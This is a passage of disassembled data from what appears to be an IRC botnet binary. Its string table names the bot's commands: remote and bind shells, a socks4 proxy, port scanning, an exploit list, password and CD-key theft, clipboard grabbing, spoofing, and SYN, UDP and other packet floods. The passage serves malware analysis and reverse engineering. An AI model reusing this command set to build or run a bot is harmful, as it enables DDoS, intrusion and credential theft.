aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
					; sub_401ACD+7A7Eo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
		align 4
unk_42C068	db  2Dh	; -		; DATA XREF: sub_401ACD+2A17o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42C094	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D8o
		dd 2E7325h
unk_42C0AC	db  2Dh	; -		; DATA XREF: sub_401ACD+29C9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42C0E8	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Ao
		dd 65726874h, 2E736461h, 0
dword_42C108	dd 627573h		; DATA XREF: sub_401ACD+2934o
dword_42C10C	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E2o
		dd 2E7473h
unk_42C124	db  2Dh	; -		; DATA XREF: sub_401ACD+28C7o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42C15C	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2858o
		dd 2E676Fh
dword_42C174	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B3o
		dd 6F666E49h, 2Eh
dword_42C190	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2784o
		dd 2E6F666Eh, 0
dword_42C1AC	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+272Fo
		dd 746F4220h, 2Eh
unk_42C1C8	db  2Dh	; -		; DATA XREF: sub_401ACD+2713o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42C204	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Eo
		align 4
unk_42C228	db  2Dh	; -		; DATA XREF: sub_401ACD+261Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_42C248	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25F9o
aSearchComplete	db '- Search completed.',0
dword_42C268	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25ADo
		dd 2E7325h
unk_42C280	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 10h
unk_42C2A0	db  2Dh	; -		; DATA XREF: sub_401ACD+2513o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42C2C8	db  2Dh	; -		; DATA XREF: sub_401ACD+24F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
dword_42C2F4	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DEo
		dd 72616F62h, 2E64h
dword_42C310	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B0o
		dd 2Dh
unk_42C328	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42C354	db  2Dh	; -		; DATA XREF: sub_401ACD+2499o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42C378	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42C3A4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 10h
unk_42C3D0	db  2Dh	; -		; DATA XREF: sub_401ACD+2467o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42C3F4	db  2Dh	; -		; DATA XREF: sub_401ACD+2414o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 10h
unk_42C430	db  2Dh	; -		; DATA XREF: sub_401ACD+23A5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C46C	db  2Dh	; -		; DATA XREF: sub_401ACD+22BFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C4A8	db  2Dh	; -		; DATA XREF: sub_401ACD+2254o
					; sub_40BACD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C4E4	db  2Dh	; -		; DATA XREF: sub_401ACD+214Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42C520	db  2Dh	; -		; DATA XREF: sub_401ACD+20DEo
					; sub_40BACD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42C554	db  2Dh	; -		; DATA XREF: sub_401ACD+2029o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 4
unk_42C574	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42C5AC	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42C5E8	db  2Dh	; -		; DATA XREF: sub_401ACD+1F52o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F27o
					; sub_401ACD+5BEEo
		align 10h
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F20o
					; sub_401ACD+5BE7o
		align 4
unk_42C668	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42C6A8	db  2Dh	; -		; DATA XREF: sub_401ACD+1D0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C6E4	db  2Dh	; -		; DATA XREF: sub_401ACD+1C95o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Co
		align 10h
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Bo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
		align 10h
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C11o
		align 4
aScanall	db 'scanall',0          ; DATA XREF: sub_401ACD+1BE7o
dword_42C754	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B97o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B81o
					; sub_401ACD+1BD1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Co
		align 10h
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B57o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B42o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Do
		align 10h
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B18o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B03o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEEo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1AD9o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC4o
		align 10h
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AAFo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A85o
		align 10h
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A70o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Bo
unk_42C7FC	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A02o
					; sub_401ACD+3CAFo ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19EBo
		align 10h
unk_42C830	db  2Dh	; -		; DATA XREF: sub_401ACD+19CDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1995o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403453o
dword_42C864	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Bo
dword_42C878	dd 6F6877h		; DATA XREF: sub_401ACD+193Eo
dword_42C87C	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C888	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Eo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1915o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1900o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18EBo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D6o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C1o
		align 10h
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ACo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1897o
		align 10h
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1882o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Do
		align 4
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1858o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1843o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Eo
		align 10h
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+1819o
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17EFo
					; sub_401ACD+1804o
		align 10h
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DAo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C5o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B0o
		align 10h
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Bo
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1786o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1771o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Co
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1747o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1732o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Do
aT:					; DATA XREF: sub_401ACD+1708o
					; ___:004382C0o ...
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F3o
unk_42C948	db  2Dh	; -		; DATA XREF: sub_401ACD+16BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 10h
unk_42C970	db  2Dh	; -		; DATA XREF: sub_401ACD+16B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 10h
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A1o
		align 4
aI:					; DATA XREF: sub_401ACD+168Co
					; ___:004382CCo ...
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1677o
		align 10h
aS_0:					; DATA XREF: sub_401ACD+1662o
					; ___:004382D8o ...
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Do
		align 4
aQ:					; DATA XREF: sub_401ACD+1638o
					; ___:off_4382B0o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1623o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Eo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15F9o
		align 4
aR:					; DATA XREF: sub_401ACD+15E4o
					; sub_401ACD+3DA8o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15CFo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BAo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A5o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1590o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1566o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1551o
		align 10h
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Co
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1527o
		align 4
dword_42CA34	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Co
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1517o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FEo
		align 4
dword_42CA54	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F3o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EEo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D5o
		align 4
dword_42CA78	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CAo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C5o
		align 10h
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ACo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1497o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1482o
		align 10h
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Do
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1458o
		align 4
dword_42CAC8	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+142Fo
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1406o
		align 10h
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DDo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B4o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Bo
unk_42CB10	db  2Dh	; -		; DATA XREF: sub_401ACD+1371o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42CB44	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1336o
					; sub_401ACD+13D2o
dword_42CB54	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1331o
					; sub_401ACD+13CDo
dword_42CB64	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1318o
					; sub_401ACD+13A9o
dword_42CB74	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1313o
					; sub_401ACD+13A4o
dword_42CB84	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B8o
					; sub_401ACD+1424o
dword_42CB90	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
					; sub_401ACD+141Fo
dword_42CB9C	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
					; sub_401ACD+13FBo
dword_42CBA8	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
					; sub_401ACD+13F6o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1235o
		align 10h
dword_42CBC0	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Ao
					; sub_401ACD+12F7o
dword_42CBCC	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
					; sub_401ACD+12F2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Co
		align 4
dword_42CBE4	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1201o
					; sub_401ACD+12D9o
dword_42CBF4	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FCo
					; sub_401ACD+12D4o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E3o
		align 10h
dword_42CC10	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D8o
					; sub_401ACD+1357o
dword_42CC20	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D3o
					; sub_401ACD+1352o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BAo
		align 4
dword_42CC3C	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
					; sub_401ACD+1279o
dword_42CC48	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
					; sub_401ACD+1274o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1191o
dword_42CC5C	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1186o
					; sub_401ACD+125Bo
dword_42CC68	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
					; sub_401ACD+1256o
dword_42CC74	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42CC80	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Do
dword_42CC90	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1158o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+113Fo
		align 10h
dword_42CCB0	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42CCBC	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+112Fo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1116o
dword_42CCD0	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EDo
		align 4
dword_42CCEC	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E2o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C4o
		align 4
dword_42CD08	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BCo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Eo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1089o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1074o
		align 10h
dword_42CD30	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1052o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Do
					; sub_401ACD+10B7o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1034o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+101Fo
		align 10h
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Ao
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF5o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE0o
		align 10h
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCBo
					; sub_401ACD+2D69o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB6o
					; sub_401ACD+2D58o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA1o
		align 10h
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Co
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F77o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F62o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Do
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F38o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F23o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Eo
		align 4
aD:					; DATA XREF: sub_401ACD+EF9o
					; ___:004382DCo ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE4o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ECFo
		align 10h
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB7o
a63		db '63',0               ; DATA XREF: sub_401ACD+D84o
		align 4
asc_42CDDC:				; DATA XREF: sub_401ACD+D5Co
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D1Fo
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D14o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D03o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE7o
		align 4
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD6o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC4o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C56o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B92o
		align 4
aK:					; DATA XREF: sub_401ACD+AA6o
					; sub_401ACD+3DD2o ...
		unicode	0, <k>,0
unk_42CE20	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CE54	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CE84	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42CEBC	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 4
unk_42CEE4	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CF28	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CF64	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42CF7C	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42CF84	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42CFA0	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42CFAC	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA7F+1Bo
unk_42CFB0	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 10h
aS_2		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 4
dword_42CFEC	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42CFF4	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADCo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A72+Fo
		align 10h
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A72+16o
unk_42D008	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_42D02C	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
